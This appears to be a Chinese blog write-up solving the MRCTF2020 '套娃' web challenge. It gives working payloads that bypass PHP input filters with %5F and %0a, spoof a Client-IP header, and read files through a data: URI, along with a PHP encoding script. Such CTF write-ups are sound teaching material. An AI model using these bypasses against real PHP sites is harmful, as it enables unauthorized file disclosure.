[MRCTF2020]套娃

[MRCTF2020]套娃

首先打开题目查看源码得到:

在这里插入图片描述

进行代码分析,发现对查询的字符进行过滤有,_和%5f就die

然后利用 空格,.,%5F代替下划线代替
(重点:)
PHP字符解析特性学习连接:
学习连接

并且还要绕过23333的检测

利用%0a的换行符进行绕过:

传入参数:

?b%5Fu%5Fp%5Ft=23333%0a

在这里插入图片描述得到:
secrettw.php

访问在源码处发现:

在这里插入图片描述发现是

alert(“post me Merak”)

请求一个Merak得到源码:

在这里插入图片描述

进行源码解析发现,
有判断IP要等于127.0.0.1,并且测试只有:CLIENT-IP: 127.0.0.1
才能通过
并且2333传递的内容要用todat is a happy day
而且file读取文件是通过change解密的

所以我们读取的flag.php要通过加密在解密

加密脚本:

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$a=unchange('flag.php');
echo base64_encode($a);
?>

得到加密的flag.php:

ZmpdYSZmXGI=

所以playload:

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
在这里插入图片描述

查看源码得到flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值